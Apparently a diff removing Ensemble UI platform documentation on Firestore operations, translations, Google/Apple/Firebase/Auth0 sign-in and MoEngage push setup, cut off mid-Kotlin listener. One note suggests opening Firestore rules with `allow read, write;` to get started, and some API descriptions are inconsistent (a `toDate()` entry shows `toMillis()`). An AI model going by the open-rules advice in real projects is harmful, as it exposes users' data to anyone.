1691237696123; // Milliseconds since the Unix epoch -var timestampFromMillis = Timestamp.fromMillis(milliseconds); -console.log(timestampFromMillis); -``` - -#### new Timestamp(seconds, nanoseconds) -Constructor. Creates a Timestamp object from a given number of seconds since the Unix epoch and additional nanoseconds. - -Example -```js -var seconds = 1691237696; -var nanoseconds = 123456789; -var customTimestamp = new Timestamp(seconds, nanoseconds); -console.log(customTimestamp); -``` -#### toDate() -Converts a Timestamp to the number of milliseconds since the Unix epoch. -Example -```js -var milliseconds = customTimestamp.toMillis(); -console.log(milliseconds); -``` -#### valueOf() -Returns the number of milliseconds since the Unix epoch, similar to toMillis(). It’s used when Timestamp is compared to other values in arithmetic operations. - -Example -```js -var value = customTimestamp.valueOf(); -console.log(value); -``` - -Following properties are also available on each `Timestamp` object - -#### seconds -The number of seconds of UTC time since Unix epoch 1970-01-01T00:00:00Z. - -Example -```js -var timestamp = new Timestamp(10,0); -console.log(timestamp.seconds); //prints 10 -``` -#### nanoseconds -The number of nanoseconds of UTC time since Unix epoch 1970-01-01T00:00:00Z. - -Example -```js -var timestamp = new Timestamp(10,0); -console.log(timestamp.nanoseconds); //prints 0 -``` -### FieldValue - -Other than `isEqual`, Ensemble platform supports all the methods for [FieldValue](https://firebase.google.com/docs/reference/js/v8/firebase.firestore.FieldValue). - -All the methods are static and are called exactly the same way as you could call in js, see [this](https://firebase.google.com/docs/reference/js/v8/firebase.firestore.FieldValue) for example. - -See the following paragraphs for examples of how to use `FieldValue.serverTimestamp()` - -## 1. Creating a Firestore Collection - -To store data in Firestore, we need to create a collection. A collection in Firestore is a container for documents, -which are individual pieces of data. Each document contains a set of key-value pairs. Follow the given steps to create a collection: -- Go to the Firebase Console. -- Select our project. -- Navigate to Firestore Database in the side menu. -- Click on Start collection. -- Enter a collection ID (e.g., sports). -- We can add our first document by entering a document ID or let Firestore auto-generate one for us. -- Add fields and values to our document. -- Click Save. - -> [!NOTE] -> By default, firestore rules do not allow anyone to access our database. To get started with it, update the rules by changing it to `allow read, write;` which allow everyone to access our database and then update the rules according to our requirements. - -## 2. Types of Firestore Operations -Firestore offers various operations to interact with our data. Here's a breakdown of some core operations along with demo API calls for our Ensemble app - -### Get: -This operation retrieves data from our Firestore collections. We can either retrieve entire collections or use queries to filter and sort our data. -1. **Example (Get all users)**: -```yaml -getUsers: - type: firestore - path: users - listenForChanges: true -``` -**Explanation**: -- `type: firestore`: Specifies that the operation is for Firestore and it is not a RestAPI. -- `path`: The path to the collection or document from where we wanna retrieve the data. -- `listenForChanges`: The operation will listen for real-time updates if set to true and triggers the UI to update. -> Default vale for `operation` is set to `add` if not mentioned. - -> Note: When `listenForChanges` is set to `true`, the first response from the API will be `{"message": "Subscribed to API", "documents": []}`. Be aware of this if your response handling involves checking whether `documents` is empty. -2. **Example (Get user using multiple filters)**: -```yaml -getSpecificUsers: - inputs: - - userId - type: firestore - path: example/users - query: - where: - - field: _documentId - operator: == - value: ${userId} - orderBy: - - age - limit: 10 -``` - -**Explanation**: -- `inputs`: We can also use dynamic variables in the path or a query. -- `path`: Path can be any based on our collections and documents we are trying to access. -- `query`: Filters the data based on the conditions such as [where](https://cloud.google.com/firestore/docs/query-data/queries). [orderBy, Limit](https://cloud.google.com/firestore/docs/query-data/order-limit-data). - -### Add: -The `add` operation creates a new document in a collection with a specified or auto-generated ID. -1. **Example**: -```yaml -createProject: - inputs: - - userId - - proName - - proDes - - proFiles - type: firestore - path: users/${userId}/Projects - operation: add - data: - proName: ${proName} - description: ${proDes} - createdAt: ${FieldValue.serverTimestamp()} -``` -**Explanation**: -- `operation: add`: Indicates that a new document will be created. -- `data`: The fields and values for the new document. Note how `FieldValue` is being used to tell Firestore to set the server timestamp - -### Set: -The `set` operation can create a new document if it does not exist but if the document already exists, `set` will overwrite -the entire document with the data provided, unless we use the `merge` option. -1. **Example**: -```yaml -setProject: - inputs: - - userId - - projectID - - proName - - proDes - - proFiles - type: firestore - path: users/${userId}/Projects/${projectID} - operation: set - data: - proName: ${proName} - description: ${proDes} - setAt: ${FieldValue.serverTimestamp()} -``` - -### Update: -The `update` operation only updates the fields specified in the provided data. If the document does not exist, `update` -will fail with an error. -1. **Example**: -```yaml -inputs: - - userId - - projectID - type: firestore - path: users/${userId}/Projects/${projectID} - operation: update - data: - # Below files will be stored as Array of objects. - files: [{ name: "index.js" , lines: 78 },{ name: "LMS.js" , lines: 245 }] - lastUpdated: ${FieldValue.serverTimestamp()} -``` - -### Delete: -The `delete` operation removes a document from a collection. -1. **Example**: -```yaml -deleteProject: - inputs: - - userId - - projectID - type: firestore - path: users/${userId}/Projects/${projectID} - operation: delete -``` - -### Collection Group: -The `isCollectionGroup` feature is used to retrieve specific collections from any collection. For example, if we have 100 documents in the `users` collection and each document has a sub-collection named `projects`, the `isCollectionGroup` feature helps in getting all `projects` directly rather than iterating through each document. -1. **Example**: -```yaml -getAllProjects: - type: firestore - path: Projects - isCollectionGroup: true -``` - -## 3. Response of Firestore Operations -When performing Firestore operations, we may need to manipulate the responses to fit our application's needs. Below are some common ways demonstrating how to use YAML for API calls, handle states, and display data in our app. -#### 1. Firstly, we will make an API call as follow: -```yaml -invokeAPI: - name: getProjects - inputs: - userId: ${userID} -``` -> We can also use `onResponse` & `onError` on firebase API calls and can perform operations on response. - -#### 2. Using response in `Column`: -To display data based on the API call's state (loading, success, error), you can use the following structure: -```yaml -Column: - children: - - Column: - styles: - visible: '${getProjects.isLoading ? true : false}' - children: - - Progress: - display: circular - - Column: - styles: - visible: '${getProjects.isSuccess ? true : false}' - item-template: - data: ${getProjects.body.documents} - name: project - template: - projectDisplay: # that is an custom widget. - inputs: - name: ${project.proName} - des: ${project.description} - - Column: - styles: - visible: '${getProjects.isError ? true : false}' - children: - - Text: - text: "An error has occurred" -``` -- Explanation: - - The first child `Column` is visible only when the API call is loading `(visible: '${getProjects.isLoading ? true : false}')`. It shows a circular progress indicator. - - The second child `Column` is visible only when the API call is successful `(visible: '${getProjects.isSuccess ? true : false}')`. It iterates over the documents in the response body using item-template. - - The third child `Column` is visible only when there is an error `(visible: '${getProjects.isError ? true : false}')`. It shows an error message. - -#### 3. Using response in `Dropdown`: -To display data in a dropdown, we can use the following YAML structure: -```yaml -Dropdown: - id: selectProject - label: Select Project - itemTemplate: - data: ${getProjects.body.documents} - name: project - value: ${project._documentId} - template: - Text: - text: ${"Name:" + " " + project.proName} -``` - -By using these operations, we can efficiently manage our data in Firestore with an Ensemble project. Firestore's -real-time capabilities and simple API calls make it a powerful tool for any application. - ---- - - -# Translations - -Ensemble supports localization of app content so that your app users can view the app in their preferred language. - -## How it works - -When an app loads, Ensemble checks the defualt language of the device (e.g. languages setting in iOS, Android, or Chrome browser). - -1. If device default langugae is supported by your app, Ensemble uses that language. -2. Else, Ensemble uses the app's default language. - -You can override the above behavior using [the setLocale action](#set-the-locale). - - -## Set up languages - -In Ensemble Studio, navigate to your app and select Translations from the left menu. Add new language to start with. - -> [!NOTE] -> The first language you add is set as the default. You can update the default language when you add more by clicking the `...` menu on the language. - - -![add language](public/images/translations/add-language.png) - -## Add language content - -Language content is created in YAML. Add key/value pairs for each text. - -![add language](public/images/translations/add-language-content.png) - -#### Organize the content - -To make it easier to find and update the text, you can create a hierarchy within language files. For instance, you can have common text under `common` and text related to login screen under `login` - -```yaml -common: - submit: Submit - error: Something went wrong. Try again. - -login: - login_button: Sign in - login_error: Incorrect username or password. Please try again. - -``` - - -## Reference the translation - -In any screen or widget, reference the translations. E.g. for a button, assign the reference to the `label` property. - -When refrencing translations, prepend `r@` before the key assigned to the text: - - -```yaml -- Button: - label: r@login.login_button -``` - - -## Test in Preview - -Use the 🌎 icon on top of the preview to select a language. The preview updates and shows the UI in the selected language. - -![add language](public/images/translations/test-language.png) - - -## Setting language in app code - -You can dynamically change the app's language from within your app. This allows users to select a language for the app that is different than OS language. - -### Retrieve Supported Languages - -To get an array of languages supported by your app (i.e., translations you created in Ensemble Studio), use the following code: - -```javascript -// Get array of supported languages -console.log(app.languages); -``` - -### Get Current Language and Locale -To log the currently set language and locale: - -```javascript -// Log currently set language -console.log(app.language); - -// Log currently set locale -console.log(app.locale); -``` - -### Set the Locale -You can set the locale using the ensemble.setLocale method. This method updates the app's language. - -```yaml -Button: - label: Switch to English - onTap: - setLocale: - languageCode: en -``` - -This action can be triggered in code: - -```javascript -// Set the locale to English -ensemble.setLocale({ - "languageCode": "en" -}); -``` - - -### Example usage -Here's an example of how you might integrate the language selection dropdown into a screen: - -```javascript -Screen: - - Dropdown: - itemTemplate: - data: ${app.languages} - name: language - template: - Text: - text: ${language.name} (${language.nativeName}) - value: ${language.languageCode} - - onChange: |- - ensemble.setLocale({ languageCode: event.data.value }); - - - Button: - label: r@common.submit -``` -### Defining different themes per language -See [this](https://docs.ensembleui.com/theme-and-styling/theme#defining-themes-for-different-locales) for more details - ---- - -# Authentication -Ensemble supports Sign In with Google, Apple as well as with Auth0. - -## Setup -By default Sign in is disabled. To enable it, follow the setup steps below. - -### Enable the Auth module -- Go to `/starter/pubspec.yaml` and uncomment the `ensemble_auth`. -- Go to `/starter/lib/generated/EnsembleModules.dart` - - Set `useAuth` to `true`. - - Uncomment the `if` section to enable the AuthModuleImpl. You may also need to uncomment the import statement. - -### Sign in with Apple -Note that if you are using Sign in with Google on iOS, Apple requires you to also support Sign in with Apple. To enable Sign in with Apple, follow these steps: -- Open XCode from the iOS project under `/starter/ios` in XCode. -- Select your `Runner` target and go to `Signing & Capabilities` tab. -- Click on the `+ Capability` button and select "Sign in with Apple". -- To enable Sign in with Apple only on iOS, you can use the Condition widget to only show if platform is iOS. -```yaml -Column: - children: - - SignInWithGoogle: - - # only show Sign in with Apple on iOS - - Conditional: - conditions: - - if: ${ensemble.device.isIOS()} - widget: - SignInWithApple: -``` - -## Implementation -- For Sign in with Google locally or with your server, go to [Social Sign In](#social-sign-in). -- To use Firebase instead of your server, go to [Firebase](#setting-up-authentication-with-firebase). -- For Sign in with Auth0, go to [Auth0](#setting-up-authentication-with-auth0). - ---- - -# Social Sign In - -Ensemble supports Social Sign in with Google and Apple. This guide will specifically target the **Sign in with Google** flow. -For each service, we support three different mechanism for managing the signed-in users: [Client-side](#client-side), with your [Server](#Server-side), or with [Firebase](#setting-up-authentication-with-firebase). - - - -## Client-side -Ensemble supports Signing In from the client side without any backend server. User information is stored locally on the device. - - -### Build your screens on Studio -First build a **Login** screen. - -```yaml -View: - styles: - useSafeArea: true - - body: - Column: - styles: - # centering the content - mainAxisSize: min - crossAxis: center - alignment: center - children: - - Text: - text: Welcome to a SignIn Example - styles: - textStyle: - fontSize: 20 - padding: 0 0 20 0 - - - SignInWithGoogle: - # Once signed in, go to the screen 'Home' - # Also clear all previous screens to prevent Back button navigation - onSignedIn: - navigateScreen: - name: Home - options: - clearAllScreens: true -``` -Now build the screen **Home** to show the currently logged-in user's information. - -```yaml -View: - header: - title: Welcome Home - - # onLoad check if currently signed in. If not go to the Login screen - onLoad: - verifySignIn: - onNotSignedIn: - navigateScreen: - name: Login - - body: - Column: - styles: - padding: 24 - gap: 8 - children: - - Row: - styles: - gap: 7 - children: - # Current user's info is under ${auth.user.*} - - Avatar: - source: ${auth.user.photo} - - Text: - text: |- - ${auth.user.name} - ${auth.user.email} - - Button: - label: Sign Out - onTap: - # sign out will clear the user info - signOut: - onComplete: - # once signed out, go to the Login screen - # Also clear all existing screens so the user can't go back - navigateScreen: - name: Login - options: - clearAllScreens: true -``` - - -## Server-side -Currently Social Sign In with your custom Server has to be managed manually. Below is an example flow, and your implementation can varies per your needs. -1. Use the Social Sign in to authenticate the user. This will return the idToken and the user information. -2. Send this idToken to your server, which can validate that this idToken was issued by Google, extract the user information from the idToken, and return server-specific credentials (e.g. bearer token, cookies) for this user back to the client. -3. The client can then save these credentials into storage and use them for subsequent requests. - -```yaml -View: - body: - SignInWithGoogle: - # the user successfully authenticated with Google - onAuthenticated: - invokeAPI: - # call your server, pass the idToken and return server-specific credentials - name: signInToServer - inputs: - # idToken can be accessed on event.data.idToken - token: ${event.data.idToken} - - # user info can be accessed via event.data.user.* - email: ${event.data.user.email} - - onResponse: - executeCode: - # store the bearerToken for latter use - body: |- - ensemble.storage.token = response.body.bearerToken; - onComplete: - navigateScreen: - name: Home - options: - replaceCurrentScreen: true - -API: - # Your server should validate that the idToken is indeed issued by Google - # The server can then create/update the user account in your database, and return server-specific credentials about this user - signInToServer: - inputs: [token] - uri: https://myExampleApi.com/auth - parameters: - token: ${token} -``` -## Add Custom Widget to Google Sign-In Button - -**NOTE:** This property only works for native applications (Android and iOS), on web it will not replace default Google Sign-In Button. - -Ensemble allows you to replace the default `SignInWithGoogle` Widget UI with your own custom widget. By using the widget property within the `SignInWithGoogle` Widget, you can specify any widget to display in place of the default button. This feature enables full customization of the UI, while maintaining the same behavior for signing in and handling events. - -### How to Use the widget Property: ### -The `widget` property can be used inside the `SignInWithGoogle` Widget to define a custom widget. If this property is set, it will replace the default Google Sign-In button with the provided widget. - -### Example: ### -```yaml -SignInWithGoogle: - onSignedIn: - showToast: - message: ${auth.user.email} - onError: - showToast: - message: Something went wrong - widget: - IconButton: - icon: - name: google - library: fontAwesome - color: red -``` - ---- - -# Setting up Authentication with Firebase - -For convenience, Ensemble's Sign In can connect directly to Firebase, allowing you to manage users via Firebase console without the need for a backend server. - - - - -#### Prerequisites - -1. You have created a Firebase project -2. You have created an app on Ensemble Studio -3. You have [Flutter](https://docs.flutter.dev/get-started/install) installed on your machine -4. You have a Simulator for testing - -## 1. Configure Firebase project - -Login to your Firebase account and navigate to your project in order to complete following steps. - -#### Enable Sign in with Google - -Go to the Authentication section of your Firebase project, and enable Authentication. After that, enable Google as the sign-in method. - -#### Enable Sign in with Phone - -If you want to enable phone authentication, you will need to enable Phone as the sign-in method. You can also add phone numbers to the list of test numbers for your project. - -#### Add iOS app - -Under project settings, add iOS app to your Firebase project. As you go through the steps, you will download a file named `GoogleService-Info.plist` . We will use details from this file later on. -  -#### Add Android app - -Under project settings, add Android app to your Firebase project. As you go through the steps, you will download a file named `google-services.json` . We will use details from this file later on. - ---- - -## 2. Configure Ensemble app - -#### Get starter app - -Clone [Ensemble Starter](https://github.com/EnsembleUI/starter) from GitHub. Using a code or text editor, open `/ensemble/ensemble-config.yaml` . - -Set your definition source to be Ensemble: - -```yaml -    definitions: -  # where your page definitions are hosted ('local', 'remote' or 'ensemble') -  from: ensemble - -  ensemble: -  appId: -``` - -You can find you Ensemble app id by navigating to the app on Ensemble Studio, clicking the menu icon, and selecting `Copy App ID` option. - -#### Add Firebase app details to Ensemble app - -In the same file, `ensemble-config.yaml` , add Firebase account details in the following format. - -```yaml -    accounts: - firebase: - iOS: - apiKey: # In GoogleService-Info.plist, take the value of API_KEY - appId: # In GoogleService-Info.plist, take the value of GOOGLE_APP_ID - messagingSenderId: # In GoogleService-Info.plist, take the value of GCM_SENDER_ID - projectId: # In GoogleService-Info.plist, take the value of PROJECT_ID - android: - apiKey: # In google-services.json, take value of client.api_key.current_key - appId: # In google-services.json, take value of client.client_info.mobilesdk_app_id - messagingSenderId: # In google-services.json, take value of project_info.project_number - projectId: # In google-services.json, take value of project_info.project_id -``` - -To get these details, use the `GoogleService-Info.plist` and  `google-services.json` you downloaded during step 1. - -Here's an example of the outcome. - -firebase account details - - -#### Add sign-in providers to Ensemble app - -In the same file, `ensemble-config.yaml` , under `services` add the following. - -```yaml -    services: -      signIn: -        providers: -          google: -            iOSClientId: # In GoogleService-Info.plist, take the value of CLIENT_ID -            androidClientId: # In google-services.json, take value of client.oauth_client.client_id -``` - -Here's an example of the outcome. - - -firebase provider details - - ---- - -## 3. [iOS only] Update Info.plist file - -Inside the directory where you cloned Ensemble Starter, open `/ios/Runner/Info.plist` with a code editor. Add the following to this file. - -``` - - - - CFBundleTypeRole - Editor - CFBundleURLSchemes - - - URL SCHEME GOES HERE - - - - Firebase iOS APP ID GOES HERE - - - -``` - -Use the `GoogleService-Info.plist` that you downloaded during step 1, and copy the value of REVERESED_CLIENT_ID. Paste this value in inside this string tag: ` URL SCHEME GOES HERE `. - ---- - -## 4. [Web Only] Add Authorized domains - -Add authorized domains to your Firebase project. This is required for web apps to work with Firebase. - -Go to Firebase console, navigate to your project, and under Authentication, go to Settings. Add your domain to the list of authorized domains. - -firebase authorized domains - ---- - -## 5. Enable Auth service in Ensemble code - -By default, Ensemble does not include the authentication module to avoid installing unnecessary packages. Here, we uncomment a few lines of code to get the necessary packages. - -Inside the directory where you cloned Ensemble Starter, open `/lib/generated/ensemble_modules.dart`. - -* Search for this line and uncomment it: -``` -// import 'package:ensemble_auth/auth_module.dart'; -``` - -* Search for this line and uncomment it: -``` - // AuthModuleImpl().init(); -``` - -* Search for this line and set it to true -``` - static const useAuth = false; -``` - ---- - -## 6. Add a Sign in screen - -Now that your app is set up to use Firebase, add a new screen in the studio with following definition. - -### Firebase Social Sign In - -For Social Sign In, Ensemble currently provides `SignInWithGoogle` and `SignInWithApple`. Set the provider `property` to `firebase`. - -```yaml -View: - body: - Column: - styles: - mainAxis: center - crossAxis: center - padding: 40 - children: - - SignInWithGoogle: - provider: firebase -``` - -Depending on your need, assign actions to `onSignedIn` and `onError` properties as well. For demo purpusoes here, we will just show a toast message. - - -```yaml - - SignInWithGoogle: - provider: firebase - onSignedIn: - showToast: - message: ${auth.user.email} - onError: - showToast: - message: Something went wrong -``` - -### Firebase Phone Auth - -If you need firebase phone auth, you can use these actions - -`sendVerificationCode` - to send the verification code to the phone number - -```yaml -sendVerificationCode: - provider: firebase - method: phone - phoneNumber: "+1-----------" (required if type is phone) - onSuccess: - // to go to the next screen for otp, it should provide the verification id and resend token - // e.g event.data.verificationId, event.data.resendToken - onError: - // handle error state -``` - -`validateVerificationCode` - to validate the code sent to the phone number - -```yaml -validateVerificationCode: - provider: firebase - method: phone - code: // otp from the `ConfirmationInput` widget - verificationId: // verification id from `sendVerificationCode` action - onSuccess: - // return the authenticated user and idToken - // e.g event.data.user.id, event.data.idToken - onError: - // handle the error state - onVerificationFailure: - // handle the verification failure -``` - -`resendVerificationCode` - to resend the code if resend token is available - -```yaml -resendVerificationCode: - provider: firebase - method: phone - phoneNumber: ${phoneNumber} (required if type is phone) - resendToken: ${resendToken} - onSuccess: - // return the verificationId and resendToken - onError: - // handle error state -``` - -Note: If resend token is not available, you can use `sendVerificationCode` to get the updated token. - -[Kitchen Sink - Firebase Phone Auth](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/A7JOo1uZTYoYVwOUA76c) - ---- -### Firebase Sign In with Custom jwt Token - -Authenticate users in Firebase using a custom `jwtToken` minted by the backend with Firebase Admin SDK, enabling access to secure Cloud Functions. - -`signInWithCustomToken` - to pass token to firebase console - -```yaml -signInWithCustomToken: - token: // Token id from `signInWithServerAPI` action - onAuthenticated: - // return the authenticated user and idToken - // e.g event.data.user.id, event.data.idToken - // if user doesn't exists (uuid doesn't match any existing user) - // it'll create anonymous one - // otherwise return authenticated user - onError: - // handle the error state - // Errors can be invalidToken, NullToken etc -``` -## 7. Build and run the app - -* Review `/ensemble/ensemble.properties`. Update the appId as needed - this is your app's bundle ID in the format of . e.g. `com.ensembleui.myfirstapp` (all lowercase, no special characters). -* Run `flutter pub upgrade`. Run this occasionally when the Ensemble framework has been updated. -* Run `flutter create --org com.ensembleui --project-name starter --platform=ios,android .` (note the period at the end). If you modified the appId, make sure the org and project name match the bundle ID. -* Run the App with `flutter run`. If you currently have a running iOS or Android emulator, the command will prompt for a selection, otherwise the App will be opened in the web browser. - ---- - -# Setting up Authentication with Auth0 - -In this guide, we will authenticate users against an existing Auth0 tenant. - -#### Prerequisites - -1. You have an existing Auth0 tenant -2. You have created an app on Ensemble Studio -3. You have [Flutter](https://docs.flutter.dev/get-started/install) installed on your machine -4. You have a Simulator for testing - -## 1. Provision Auth0 App Credentials - -Login to your Auth0 tenant and go the [Applications](https://manage.auth0.com/#/applications) section of your dashboard. - -#### Create an Auth0 Application - -Click on "Create Application", and enter a name for your application. Select "Native" as the application type and click "Create". - -#### Enable Connections - -Your application should have at least one enabled Connection. Click on "Connections" and enable any database or identity provider, e.g. Google. - -#### Configure Application - -Navigate to the "Settings" tab on your application page, and scroll to the "Application URIs" section. This is where we will set your Allowed Callback URLs and Allowed Logout Urls for Android and iOS. The values will follow this template: - -- Android: `SCHEME://AUTH0_DOMAIN/android/YOUR_PACKAGE_NAME/callback` -- iOS: `YOUR_BUNDLE_ID://AUTH0_DOMAIN/ios/YOUR_BUNDLE_ID/callback` - -`SCHEME` can be a custom protocol key for you to differentiate client schemes. If this is not needed, you can simply use `http`. - ---- - -## 2. Configure Ensemble app - -#### Get starter app - -Clone [Ensemble Starter](https://github.com/EnsembleUI/starter) from GitHub. Using a code or text editor, open `/ensemble/ensemble-config.yaml` . - -Set your definition source to be Ensemble: - -```yaml -    definitions: -  # where your page definitions are hosted ('local', 'remote' or 'ensemble') -  from: ensemble - -  ensemble: -  appId: -``` - -You can find your Ensemble app id by navigating to the app on Ensemble Studio, clicking the menu icon, and selecting `Copy App ID` option. - -#### Configure Auth0 details for Ensemble app - -In the same file, `ensemble-config.yaml` , add your Auth0 app client ID in the following format. - -```yaml -    services: - signIn: - serverUri: # the domain of your auth0 tenant - providers: - auth0: - iOSClientId: # the client id of of the Auth0 application your created in step 1 - # you may specify additional client ids if you have different applications, otherwise this will be the same client id for all - androidClientId: - webClientId: - serverClientId: -``` - ---- - -## 3. [iOS only] Update Info.plist file - -Inside the directory where you cloned Ensemble Starter, open `/ios/Runner/Info.plist` with a code editor. Add the following to this file. - -``` - CFBundleURLTypes - - - CFBundleTypeRole - Editor - CFBundleURLName - - - CFBundleURLSchemes - - $(PRODUCT_BUNDLE_IDENTIFIER) - - - -``` - ---- - -## 4. [Android only] Update build.gradle - -Inside the directory where you cloned Ensemble starter, open `/android/build.gradle` in your code editor. Add the following to this file. - -```groovy -// android/app/build.gradle - -android { - // ... - - defaultConfig { - // ... - manifestPlaceholders += [auth0Domain: "", auth0Scheme: ""] - } - - // ... -} -``` - -## 4. Enable Auth service in Ensemble code - -By default, Ensemble does not include the authentication module to avoid installing unnecessary packages. Here, we uncomment a few lines of code to get the necessary packages. - -Inside the directory where you cloned Ensemble Starter, open `/lib/generated/ensemble_modules.dart`. - -* Search for this line and uncomment it: -``` -// import 'package:ensemble_auth/auth_module.dart'; -``` - -* Search for this line and uncomment it: -``` - // AuthModuleImpl().init(); -``` - -* Search for this line and set it to true -``` - static const useAuth = false; -``` - ---- - -## 5. Add a Sign in screen - -Now that your app is set up to use Auth0, add a new screen in the studio with following definition. - - -```yaml -View: - body: - Column: - styles: - mainAxis: center - crossAxis: center - padding: 40 - children: - - SignInWithAuth0: - scheme: flutterdemo - provider: auth0 - onAuthenticated: - showToast: - message: ${auth.user.email} -``` - ---- - -## 6. Build and run the app - -* Review `/ensemble/ensemble.properties`. Update the appId as needed - this is your app's bundle ID in the format of . e.g. `com.ensembleui.myfirstapp` (all lowercase, no special characters). -* Run `flutter pub upgrade`. Run this occasionally when the Ensemble framework has been updated. -* Run `flutter create --org com.ensembleui --project-name starter --platform=ios,android .` (note the period at the end). If you modified the appId, make sure the org and project name match the bundle ID. -* Run the App with `flutter run`. If you currently have a running iOS or Android emulator, the command will prompt for a selection, otherwise the App will be opened in the web browser. - ---- - - -# MoEngage Integration - -MoEngage is a powerful customer engagement platform that enables real-time, personalized messaging across multiple channels. Ensemble provides native integration with MoEngage offering: -- Push Notifications (iOS & Android) -- In-App Messaging -- Event Tracking & Analytics -- User Attribute Management - - -## MoEngage Dashboard Setup - -The following setup on MoEngage Dashboard is required regardless of whether you're enabling MoEngage through Ensemble Studio or local development. This establishes the core configuration needed for MoEngage integration. - -1. Get MoEngage Workspace ID: - - Navigate to MoEngage Dashboard → Settings → General Settings → Basic Details - - Copy your Workspace ID from the displayed information - -2. Configure Firebase for Android Push: - - Follow the complete [FCM Authentication Guide](https://developers.moengage.com/hc/en-us/articles/16909296490644-FCM-Authentication) - - This guide walks you through: - a. Creating a Firebase project - b. Generating FCM Server Key - c. Adding the key to MoEngage Dashboard - d. Enabling necessary FCM APIs - -3. Configure APNS for iOS Push (Choose one): - - Option 1: [APNS Authentication Key](https://developers.moengage.com/hc/en-us/articles/8484447635348-APNS-Authentication-Key) (Recommended) - - Option 2: [APNS Certificate](https://developers.moengage.com/hc/en-us/articles/4403944011028-APNS-Certificate-PEM-file) - -4. Create Platform Apps: - - Create corresponding apps in Firebase Console for Android/iOS - - Ensure the application ID matches your Ensemble app configuration - - Download required configuration files: - - Android: google-services.json - - iOS: GoogleService-Info.plist - - Web: Firebase configuration object - -## Enable MoEngage in Ensemble Studio - -If you're using Ensemble Studio for building your application, follow these steps to enable MoEngage. No additional local configuration will be required. - -1. Navigate to Build & Deploy → Build Settings -2. Enable MoEngage toggle in the Modules section -3. Enter Configuration Details: - - MoEngage Workspace ID obtained from dashboard - - Add Firebase Web Configuration -4. Upload Platform Configuration Files: - - Upload google-services.json for Android - - Upload GoogleService-Info.plist for iOS -5. Click Update to save your configuration - - -## Handling Notifications - -Ensemble provides multiple ways to handle MoEngage notifications to suit your use cases: - -1. **Notification Handler**: Define a notification handler in JavaScript to be executed on every notification received. You can run logic then return a payload to navigate to a screen. - -2. **Default Behavior**: If notification handler is not specified, the app will simply open up (if not in foreground). - -### Creating a Script and Handler Function - -1. Navigate to or create a script in the Scripts section, for example Common.js. - -2. Create a handler function that will be called when notifications are received: - -```javascript -function handle_notification(notification) { - // Your notification handling logic here -} -``` - -The notification parameter will contain: - -#### For Push Notifications: -```javascript -{ - "payload": {...}, // Original push payload data received from MoEngage - "clickedAction": Map, // Button action details if clicked - "platform": "android/ios", - 'notificationType': 'push', - "isDefaultAction": true/false, // For Android only -} -``` - -For complete push notification payload details, see [Push Callback Payload Documentation](https://developers.moengage.com/hc/en-us/articles/11652033989396-Push-Callback#h_01H1RX45YD2A06V7SM4TYZWF3V) - -#### For In-App Messages: -```javascript -{ - "campaignId": "campaign_id", - "campaignName": "campaign_name", - "platform": "android/ios", - 'notificationType': 'inApp', - "data": { - "navigationType": "deeplink/screen", // present only if action is `NavigationAction` - "navigationUrl": "url", // present only if action is `NavigationAction` - "keyValuePairs": {} // Custom data - } -} -``` - -For complete in-app message payload structure, see [In-App Callback Payload Documentation](https://developers.moengage.com/hc/en-us/articles/4404365619092-InApp-NATIV#h_01H96BKP4MZAJTSRZ58FM3Z3XZ) - -Inside your handler function, you can: -- Write custom routing logic -- Access ensemble.storage -- Return a navigation payload - -Example handler: -```javascript -function handle_notification(notification) { - console.log("Received notification:", notification); - - // Assuming the screen name is in the data section - var payload = { - "name": notification['data']['screen'], - // You can also pass inputs that will be accessible on the destination screen using `notificationPayload.*` - }; - - return payload; -} -``` - -If you don't want to navigate, simply don't return anything. - -### Setting up the Handler - -1. Go to Settings -> Environment Variables -2. Add new variable: `ensemble_notification_handler` -3. Set value to `scriptName.handlerName` (e.g. `Common.handle_notification`) - -Once configured, your handler function will be called for all received notifications. - - - -## Enable MoEngage in Local Project - -If you're developing locally without using Ensemble Studio build system, follow these configuration steps. You can skip the Ensemble Studio setup section above. - -#### Ensemble Files (Required) - -**1.** Update `ensemble_modules.dart` -Import required modules and initialize Firebase and MoEngage. Add this at the start of file: -```dart -import 'dart:io'; -import 'package:flutter/foundation.dart'; -import 'package:ensemble_moengage/moengage.dart'; -import 'package:firebase_core/firebase_core.dart'; -``` -Replace default Firebase initialization with platform-specific options - -```dart -// Initialize Firebase with platform-specific options -FirebaseOptions? androidPayload = const FirebaseOptions( - apiKey: "YOUR_ANDROID_API_KEY", - appId: "YOUR_ANDROID_APP_ID", - messagingSenderId: "YOUR_MESSAGING_SENDER_ID", - projectId: "YOUR_PROJECT_ID", - storageBucket: "YOUR_PROJECT_STORAGE_BUCKET" -); - -// Add similar configurations for iOS and Web platforms -FirebaseOptions? iosPayload = ... -FirebaseOptions? webPayload = ... - -FirebaseOptions? selectedPayload; -if (Platform.isAndroid) { - selectedPayload = androidPayload; -} else if (Platform.isIOS) { - selectedPayload = iosPayload; -} -if (kIsWeb) { - selectedPayload = webPayload; -} - -await Firebase.initializeApp(options: selectedPayload); -``` -Initialize MoEngage with your workspace ID and logging preferences by replace this `GetIt.I.registerSingleton(MoEngageImpl());` with below code: -```dart -// Register MoEngage -GetIt.I.registerSingleton( - MoEngageImpl( - workspaceId: 'YOUR_WORKSPACE_ID', // dont forget to replace workspace id. - enableLogs: true - ) -); -``` - -**2.** Update `ensemble.properties`: -```yaml -moengageAppId=YOUR_WORKSPACE_ID -``` -#### Android Configuration -**1.** Add MoEngage and Firebase dependencies in `android/app/build.gradle` and also Configure Google Services plugin: -```gradle -dependencies { - // MoEngage Core dependencies - implementation("androidx.core:core:1.6.0") - implementation("com.moengage:moe-android-sdk:12.8.01") - implementation("com.google.firebase:firebase-messaging:23.4.1") - implementation("androidx.lifecycle:lifecycle-process:2.7.0") - implementation("androidx.appcompat:appcompat:1.3.1") - implementation("com.github.bumptech.glide:glide:4.9.0") -} - -apply plugin: 'com.google.gms.google-services' -``` - -**2.** Update `AndroidManifest.xml` to add required permissions, MoEngage services and set up deep linking configurations, also change application level `android:name`: -```xml - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -``` - -**3.** Create `CustomPushListener.kt` to handle push notification interactions: -```kotlin -package your.package.name - -import android.app.Activity -import android.os.Bundle -import com.moengage.core.internal.logger.Logger -import com.moengage.core.model.AccountMeta -import com.moengage.plugin.base.push.PluginPushCallback - -class CustomPushListener(accountMeta: AccountMeta) : PluginPushCallback(accountMeta) { - private val tag = "CustomPushListener" - - override fun onNotificationClick(activity: Activity, payload: Bundle): Boolean { - 